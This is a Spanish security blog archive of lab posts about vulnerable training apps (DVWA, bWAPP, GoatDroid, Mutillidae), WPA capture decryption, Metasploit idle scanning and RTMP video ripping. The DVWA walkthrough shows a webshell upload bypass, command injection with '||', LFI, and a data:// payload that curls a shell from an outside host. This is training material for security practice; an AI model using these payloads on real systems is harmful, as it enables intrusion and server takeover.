Banner 1

Mostrando entradas con la etiqueta laboratorios. Mostrar todas las entradas
Mostrando entradas con la etiqueta laboratorios. Mostrar todas las entradas

From SQL injection to Shell : Practicando SQL injectión

0 comentarios


From SQL injection to Shell

Difficulty

Beginner

Details

This exercise explains how you can from a SQL injection gain access to the administration console. Then in the administration console, how you can run commands on the system.

What you will learn?

  • SQL injection exploitation using UNION
  • Cracking md5 hashed passwords
  • Writing a PHP webshell

Requirements

  • A computer with a virtualisation software
  • A basic understanding of HTTP
  • A basic understanding of PHP
  • Yes, that's it!

Download


Mirror


Fuente:
https://www.pentesterlab.com/exercises/from_sqli_to_shell/

Ayuda para resolver el laboratorio:
http://websec.ca/kb/sql_injection

Tools: BTS PenTesting Lab

0 comentarios
BTS PenTesting Lab es una aplicación vulnerable que ayuda a aprender temas básicos de seguridad, que podrás aprender?:

SQL Injection 
XSS 
CSRF 
Clickjacking 
SSRF 
File Inclusion 
Command Execution 

Source: http://code.google.com/p/bts-pentesting-lab/
Fuente: http://www.r00tsec.com/2013/12/tools-bts-pentesting-lab.html

Lab: Aprendiendo a explotar vulnerabilidades web con DVWA

0 comentarios
Para quienes no lo recuden o no conozcan sobre DVWA es básicamente un aplicativo de entrenamiento en seguridad web. En un anterior articulo habíamos hablado ya sobre cómo explotar y evitar vulnerabilidades web (recomendado leer para conocer el funcionamiento de cada vulnerabilidad y cómo solucionarlas) usando DVWA en nivel fácil, para este caso haremos lo mismo pero aumentando la dificultad a Medium.

File Upload

Para este nivel nos complican un poco más la vida ya que validan que sólo subamos imágenes con formato JPG :( así que debemos “bypassear” el filtro para poder subir nuestra shell, ¿qué es un bypass? básicamente es cambiar el flujo de datos normal por otro, que para este caso son las cabeceras. Para hacer eso necesitaremos un sniffer que registre la información que se envía por el formulario, para eso usemos nuestro amiguito Live HTTP Headers:
Subimos la shell cambiándole la extensión a .jpg y capturamos lo que se envía, como se ve en la imagen de arriba el archivo sube satisfactoriamente pero no lo podemos ejecutar dentro del servidor. Dentro de Live HTTP headers usamos la opción repetir para luego cambiar la extensión .jpg por .php, de esta forma cambiamos las cabeceras y volvemos a enviar la información modificada:
De esta forma el archivo se sube con extensión .php y podremos ejecutarlo :)

Command Execution

Nos volvemos a encontrar con un formulario que ejecuta un ping a la dirección IP que le indiquemos, el objetivo es poder ejecutar cualquier otro comando que nosotros queramos. Esta vez no podemos usar el operador lógico && (y) pero Batch/Bash cuenta con otros operadores más como por ejemplo || (o), para poder que la consola interprete || necesitamos que el primer comando (o sea ping) no se ejecute correctamente, simplemente en vez de poner una IP enviamos una palabra cualquiera seguido de || comando:
Otra forma aún más simple sería usando sólo | que funciona de forma similar a &&.

File Inclusion

Esta vez al intentar incluir un archivo externo al servidor enviándolo como parámetro: ?page=http://web.com/shell.php nos encontramos con:
1Warning: include(google.com): failed to open stream: No such file or directory
En pocas palabra no encuentra dentro del servidor el archivo google.com, si nos fijamos la validación está quitando el http://. Por un lado nos complica hacer un RFI (Remote File Inclusion) pero podemos explotar un LFI (Local File Inclusion), de esta manera podemos ver el contenido de archivos del servidor como puede ser passwd. En sí es muy poco lo que podemos hacer a menos de que ya tuviéramos una shell dentro del servidor, pero como no es el caso debemos buscar la manera de subir una ¿cómo hacemos esto? ejecutando comandos de consola. Para ello hacemos uso de data:// que es un esquema de URL soportado desde PHP 5.2 que permite la inclusión de datos directamente sin llamar archivos, para hacerme explicar mejor, podríamos por ejemplo mostrar una imagen en un HTML sin especificar la URL de la imagen:
1<img src="data:image/png;base64,contenido en base64 />
Ahora si probamos enviando
1?page=data:,
Debería imprimirse el texto Hola desde RedInfoCol. Naturalmente queremos ir más allá de un echo, ejecutar comandos de consola, para ello usaremos la función system de PHP. Ahora para descargar la shell al servidor podríamos hacer uso de wget o cURL:
1?page=data:, "curl -O http://miweb.com/shell.php"); ?>
Cabe mencionar que el anterior ataque se puede o no realizar según la configuración de allow_url_include en el php.ini. Por ultimo mencionar que también hubiera podido incluir un ftp:// directamente con la dirección de la shell y hubiera funcionado el RFI pero no está demás dar a conocer las diferentes formas de explotar una vulnerabilidad.

XSS Reflected y Stored

En este nivel el sistema de comentarios sigue siendo vulnerable a HTML pero no a Javascript evitando las etiquetas
Existen herramientas online como esta que convierten los caracteres del Javascript que le indiquemos facilitando la tarea.

Fuente: http://www.redinfocol.org/dvwa-level-medium/

OWASP GoatDroid: entorno de entrenamiento para Android

0 comentarios
GoatDroid de OWASP, inspirado en el famoso WebGoat, es un proyecto que ayudará a educar en materia de seguridad a los desarrolladores de aplicaciones Android.
Se trata de un entorno completamente funcional para aprender acerca de las vulnerabilidades y los fallos de seguridad en la extendida plataforma. El framework y la aplicación están basadas completamente en Java. No es necesario instalar un servidor web externo o un contenedor, aunque si necesitaremos MySQL, el SDK de Android y Eclipse. Cada servicio web corre en instancias Jetty embebidas y utiliza la implementación Jersey de JAX-RS.

Ya es posible descargar la segunda versión de la Beta (OWASP GoatDroid v0.1.2 BETA.zip) y los pasos para su instalación son muy sencillos:

1. Como comentábamos, es necesario tener previamente instalado Mysql, JDK, Eclipse y Android SDK.

2. Lo primero que haremos es crear un dispositivo virtual con un nivel 7 de API como mínimo.

3. Después importamos la base de datos FourGoats en MySQL: 'mysql -u username -p < fourgoats.sql'. El fichero fourgoats.sql está dentro del directorio /databases de la carpeta GoatDroid.

4. Dentro de MySQL ejecutamos: 'create user 'goatboy'@'localhost' identified by 'goatdroid'' (si queremos indicar otra contraseña tendremos que cambiarla en el código fuente de goatdroid.jar y re-exportar.

5. En MySQL, ejecutamos : 'grant insert, delete, update, select on fourgoats.* to goatboy@localhost'
6. Ahora que la base de datos está configurada con las tablas y los datos de ejemplo, arrancamos goatdroid.jar haciendo clic o ejecutamos 'java -jar goatdroid.jar'

7. En el menú seleccionamos 'Configure y Edit' y añadimos las rutas de Eclipse y del SDK y los dispositivos virtuales:

8. Desplegamos la carpeta FourGoats en Apps, seleccionamos v1 y pulsamos el botón 'Iniciar servicio web':

9. Pulsamos el botón para iniciar el emulador y seleccionamos nuestro dispositivo virtual:

10. Una vez arrancado el dispositivo virtual, instalamos la aplicación pulsando el botón "Push App To Device". En caso de que fallara, podemos instalar el apk nosotros directamente: 'D:\Android\android-sdk\platform-tools>adb.exe install "d:\OWASP GoatDroid v0.1.2 BETA\goatdroid_apps\FourGoats\v1\android_app\FourGoats- Android Application.apk"'

11. Pinchamos en el icono creado para iniciar la aplicación y, antes de empezar a hacer nada, es necesario especificar el host y el puerto para conectarnos al servicio web. Para ello, pulsamo el botón 'Menú' y seleccionamos "Destination Info".



12. Por último, registramos y creamos una cuenta y nos loggeamos.



Y ya está. Cómo habéis visto, la aplicación ser llama FourGoats, una aplicación que emula una red social donde podemos registrarnos en varios lugares, ganar premios de fidelidad y ver lo que nuestros amigos están haciendo... pero sobretodo, descubrir vulnerabilidades de tipo:

Client-Side Injection
Server-Side Authorization Issues
Side Channel Information Leakage
Insecure Data Storage
Privacy Concerns

¡Aquí comienza el desafío! El proyecto no facilitará las soluciones en la primera release de GoatDroid, así que tenemos tiempo para encontrar y desmontar todo ;)

pd. Y si prefieres iOS también existe el equivalente: OWASP iGoat Project


Fuente: http://www.hackplayers.com/2011/09/owasp-goatdroid-entorno-de.html

bWAPP: una aplicación web extremadamente insegura para practicar

0 comentarios
bWAPP, o una aplicación web con errores (buggy web application), es una aplicación web deliberadamente insegura.



bWAPP ayuda a entusiastas de la seguridad, desarrolladores y estudiantes a descubrir y prevenir vulnerabilidades web. bWAPP prepara para llevar a cabo pruebas de intrusión y proyectos de hacking ético
con éxito.

Pero ¿qué hace bWAPP tan único? Bueno, tiene más de 60 bugs web! Cubre todas las principales vulnerabilidades web conocidas, incluyendo todos los riesgos del proyecto OWASP Top 10.

bWAPP es una aplicación PHP que utiliza una base de datos MySQL. Puede ser alojada en Linux y Windows utilizando Apache/IIS y MySQL. Se puede instalar con WAMP o XAMPP.

Otra posibilidad es descargar bee-box, una VM personalizada pre-instalada con bWAPP.

Este proyecto es parte del proyecto ITSEC GAMES. ITSEC GAMES es un enfoque divertido para la educación de TI de seguridad. Seguridad informática, hacking ético, la formación y la diversión ... todo mezclado.

Web del proyecto: http://sourceforge.net/projects/bwapp/

Fuente:http://www.hackplayers.com/2014/03/bwapp-una-aplicacion-extremadamente-insegura.html

Afina tus habilidades de penetración web con Mutillidae

0 comentarios

mutillidae.PNG

Multillidae es otro de los proyectos con los que podemos jugar y afinar nuestras técnicas de penetración web. Es un proyecto multiplataforma escrito en PHP y que se puede instalar usando XAMPP. También está disponible en la distribución Samurai WTF
Este proyecto cubre todas las vulnerabilidades recogidas en el OWASP Top 10.
Puedes descargar el proyecto desde aquí.
Como extra, en youtube puedes encontrar un canal (@webpwnized) (desarrollador actual del proyecto) con gran cantidad de vídeo tutoriales sobre esta plataforma. También puedes acceder a dichos vídeos desde la web de irongeek (creador inicial de Mutillidae).
La lista de los vídeos es la siguiente:

Puedes encontrar más información en la web del proyecto.

Fuente: http://www.cyberhades.com/2012/03/16/afina-tus-habilidades-de-penetracion-web-con-mutillidae/

Descifrando WEP/WPA/WPA2 con Wireshark

0 comentarios
Una interezante entrada para las personas que esten aprendiendo de snifing por esto les regalo una copia , recuerden visitar el link original ya que posee muy buenos trabajos.
-------------------------------------------------------------------------------------------------

Wireshark nos brinda la posibilidad de descifrar capturas WEP/WPA/WPA2 de una forma muy sencilla, aunque claro, primero debemos conocer el password.

Pero lo interesante de esto, es que cualquiera podría capturar el tráfico "que pasa por el aire", sin conocer el password, y el día de mañana cuando sea posible obtenerlo, descifrarlo.

Por ejemplo, podríamos capturar todo el tráfico que pasa por un canal, o utilizar placas wireless especiales como AirPcap, para capturar varios canales a la vez:
airodump-ng mon0 --channel 6 -w captura.pcap
Si bien hay algoritmos de cifrado que tardarían cientos de años en ser rotos, siempre existe la posibilidad de que una mala implementación por un fabricante nos allane el camino.

Recuerdo que durante la ekoparty 2008, cuando Luciano Bello presento las vulnerabilidades para OpenSSL en Debian, entre la audiencia había muchas personas que decían tener capturas que a partir de ese momento podrían ser descifradas.

Para descifrar una captura con Wireshark, abrimos la captura, vamos a "Edit -> Preferences", desplegamos "Protocols" a la izquierda, y seleccionamos "IEEE 802.11", luego ponemos el password en el formato correspondiente:



Este post se iba a llamar "Desencriptando ...", como se acostumbra decir en Argentina, pero recordé a un español que me dijo que "desencriptar" significa "sacar a alguien de la cripta", y que el termino correcto era "descifrar".

Wikipedia: Criptología

"En ocasiones se emplean los verbos encriptar y cifrar como sinónimos, al igual que sus respectivas contrapartes, desencriptar y descifrar. No obstante, lo correcto es utilizar el término cifrar en lugar de encriptar, ya que se trata de un anglicismo sin reconocimiento académico, proveniente del término encrypt."

FUENTE:
http://kungfoosion.blogspot.com/2010/01/descifrando-wepwpawpa2-con-wireshark.html

Metasploit: idle scanning y el IPID

4 comentarios
Hoy intentaremos saltarnos un sistema de detección de intrusos (IDS), al menos en teoría, porque no tengo ninguna maqueta montada para probarlo realmente. A la hora de usar nmap para comprobar la disponibilidad de algunos puertos de una Red es muy posible que cualquier IDS detecte los escaneos y emprenda algún tipo de acción.

El idle scanning se sirve del IPID para echarle el muerto del escaneo a otro ordenador zombie con lo que para hacerlo efectivo debemos -antes de nada- encontrar ese ordenador adecuado al que culpar.

Explicación del proceso

Para detectar si un puerto está abierto o cerrado, es necesario primero observar el IPID del zombie, enviar paquetes a la víctima haciéndole ver que realmente se los está enviando éste y, posteriormente, observar de nuevo el IPID utilizado por el intermediario. En función de los valores iniciales y finales obtenidos, se puede averiguar el estado del puerto destino.
  • El primer paso es enviar al zombie un paquete SYN+ACK, con objeto de que éste nos devuelva el paquete RST correspondiente, del cual tomaremos el IPID.
  • Acto seguido, se realiza una solicitud de conexión a la víctima, previa manipulación del paquete para que sea el zombie el que figure como origen del mismo. Al recibirlo, dado que estamos asumiendo que el puerto está abierto, la víctima envía de vuelta la confirmación de la conexión al que cree que es el solicitante, el zombie. Si el puerto estuviera cerrado la víctima devuelve al aparente emisor un paquete RST indicándole que no será posible establecer la conexión solicitada. El zombie recibe el paquete RST y lo ignora.
  • En caso de correcta conexión, el zombie recibe la confirmación de la conexión, pero como no es él el que la ha generado, responde a la víctima con una señal de reseteo (RST), incrementando su IPID.
  • De nuevo, pasado unos segundos, desde el atacante se vuelve a obtener el IPID del zombie de la misma forma que al comienzo, comprobando que ha sido incrementado en 2 unidades. De esta forma, se determina que el puerto destino del escaneo estaba abierto.
Teóricamente puede parecer algo lioso, aunque si se entiende el proceso el juego se vuelve mucho más divertido. Por suerte -o desgracia- todos estos pasos los podemos automatizar con Metasploit.

Encontrar un zombie

Pasando a la práctica, si queremos encontrar un zombie y utilizamos Metasploit es tan sencillo como usar el scanner que trae para ello:
msf auxiliary(writable) > use scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run

[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.2's IPID sequence class: Incremental!
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] 192.168.1.104's IPID sequence class: Randomized
[*] 192.168.1.109's IPID sequence class: Incremental!
[*] 192.168.1.111's IPID sequence class: Incremental!
[*] 192.168.1.114's IPID sequence class: Incremental!
[*] 192.168.1.116's IPID sequence class: All zeros
[*] 192.168.1.124's IPID sequence class: Incremental!
[*] 192.168.1.123's IPID sequence class: Incremental!
[*] 192.168.1.137's IPID sequence class: All zeros
[*] 192.168.1.150's IPID sequence class: All zeros
[*] 192.168.1.151's IPID sequence class: Incremental!
[*] Auxiliary module execution completed
Dentro de esa red local que hemos escaneado todas las máquinas etiquetadas como Incremental! son ordenadores zombie que podremos utilizar para hacer el escaneo silencioso.

Escaneo silencioso o invisible

Ya hemos hecho lo más complicado, seleccionar la máquina que cargará con nuestras culpas, el resto es cosa de nmap, tan solo hemos de utilizar cualquier ordenador de los etiquetados como Incremental! anteriormente como argumento -sI de nmap:
# nmap -P0 -p- -sI 192.168.1.2 192.168.1.150
Starting Nmap 5.00 ( http://nmap.org ) at 2009-11-05 01:51 CET
Idle scan using zombie 192.168.1.2 (192.168.1.2:80); Class: Incremental
Interesting ports on 192.168.1.150:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-term-serv
MAC Address: 00:0C:29:41:F2:E8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds
La opción -P0 previene que nmap envíe un ping incial a la máquina destino. Esto disminuye la velocidad del escaneo (hay menos información disponible sobre los tiempos), pero asegura que ningún paquete sea enviado al destino desde nuestra verdadera dirección de IP.

La opción -p- se usa para escanear todos los puertos, no solo los "conocidos", pero el escaneo será más lento. El -sI es obvio, para usar el zombie en las peticiones.

Y teóricamente - deberíamos estar protegidos contra los detectores de escaneos.

FUENTE:
http://www.userlinux.net/metasploit-idle-scanning-y-el-ipid.html
http://www.metasploit.com/redmine/projects/framework/repository/revisions/8026/entry/modules/auxiliary/scanner/ip/ipidseq.rb
http://nmap.org/idlescan-es.html

Como bajar vídeos streaming

1 comentarios
El mes pasado les realize un post sobre estudios forenses en red, este año nuestro amigo txipi en su entrada de como bajar videos(abajo el link ) nos muestra como descargar videos que se ven en vivo (streaming) y que no se dejan descargar directamente. Me paresio muy buena entrada por eso se las comparto.

------------------------------------------------------------------------------------

Me he pasado unas cuantas horas intentando descargar un vídeo en Flash para no depender de mi conexión a Internet cuando quiera volver a verlo. Con Firefox no suelo tener mayor problema en hacerlo gracias a Video Download Helper, una extensión que a golpe de click te resuelve la papeleta casi siempre. Pero el caso de esta tarde quedaba fuera de los dominios de Video Download Helper, porque no se trataba de un vídeo en Flash (FLV) descargado desde la web (HTTP), sino del típico esquema reproductor multimedia en Flash + streaming de vídeo por RTMP.

En concreto, mi “reto” era descargar la entrevista de Stephen Colbert a Lawrence Lessig (os la recomiendo, muy buena ;-) ).

Buscando en gúguel llegué a páginas bastante desactualizadas que me hablaban de infinidad de programas para Win32 como GetFLV o ReplayAV que terminé probando en Wine y en una máquina Windows con VirtualBox, con poco éxito.

Cada vez que pulsaba el botón de play, mi frustración iba en aumento, porque tenía claro que “si se puede ver, se puede descargar”. Así que con el típico enfoque “moscas a cañonazos” que predomina en el recetario de este humilde blog, terminé dando con lo obvio (aunque como dijo Lacan: “Lo obvio suele pasar desapercibido, precísamente por obvio”, también procede el más castizo refrán: “vistos los cojones, toro”): capturar todo, buscar URLs en la captura y descargarlas.

Manos a la obra:

1. Captura de tráfico

Para capturar el tráfico, nada como el viejo tcpdump a todo trapo:

tcpdump -i eth0 -p -s 0 -w captura.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
^C7042 packets captured
7042 packets received by filter
0 packets dropped by kernel

2. Búsqueda en la captura

Para buscar, probamos con grep:

grep -i rtmp captura.pcap
Coincidencia en el fichero binario captura.pcap

Sabemos que estás ahí…

strings captura.pcap | grep rtmp
rtmp://cp9950.edgefcs.net/ondemand/mtvnorigin/gsp.comedystor/com/colbert/season_05/episode_004/cr_05004_05_240.flv
rtmp://cp9950.edgefcs.net/ondemand/mtvnorigin/gsp.comedystor/com/colbert/season_05/episode_004/cr_05004_05_480.flv
@rtmp://88.221.92.180:1935/ondemand?_fcs_vhost=cp9950.edgefcs.net

Perfecto, a por ello…

3. Descarga del stream de vídeo

Para bajar un flujo de datos en RTMP, rtmpdump o flvstreamer son nuestros aliados:

flvstreamer -r "rtmp://cp9950.edgefcs.net/ondemand/mtvnorigin/gsp.comedystor/com/colbert/season_05/episode_004/cr_05004_05_240.flv" -o colbert.flv
FLVStreamer v1.8e
(c) 2009 Andrej Stepanchuk, The Flvstreamer Team, license: GPL
Connecting ...
Starting download at 0.000 kB
Metadata:
duration 370.94
width 240
height 180
videodatarate 250
audiodatarate 80
framerate 14.98
creationdate Fri Jan 9 01:01:09 2009
lasttimestamp 370.91
lastkeyframetimestamp 368.97
videocodecid 4
audiocodecid 2
audiodelay 0
canSeekToEnd FALSE
filesize 12810455
videosize 8851208
audiosize 3879788
datasize 19758
ERROR: ReadPacket, failed to read RTMP packet body. len: 65812
Download may be incomplete (downloaded about 8.30%), try --resume
Closing connection.

Vaya, parece que se corta cada pocos bytes, probaremos usando la fuerza bruta y la opción “resume”:

while true; do flvstreamer --resume -r "rtmp://cp9950.edgefcs.net/ondemand/mtvnorigin/gsp.comedystor/com/colbert/season_05/episode_004/cr_05004_05_240.flv" -o colbert.flv; done

¡Genial! El FLV ya está en nuestro disco duro a buen recaudo. Ahora a remezclaro y vitaminarlo :-)

No olviden visitar la fuente original

FUENTE: http://blog.txipinet.com/2009/12/31/como-bajar-videos-flash-que-se-resisten-comedycentral-por-ejemplo/?utm_source=feedburner&utm_medium=email

saludos roboticos
Powered by Bad Robot
Helped by Blackubay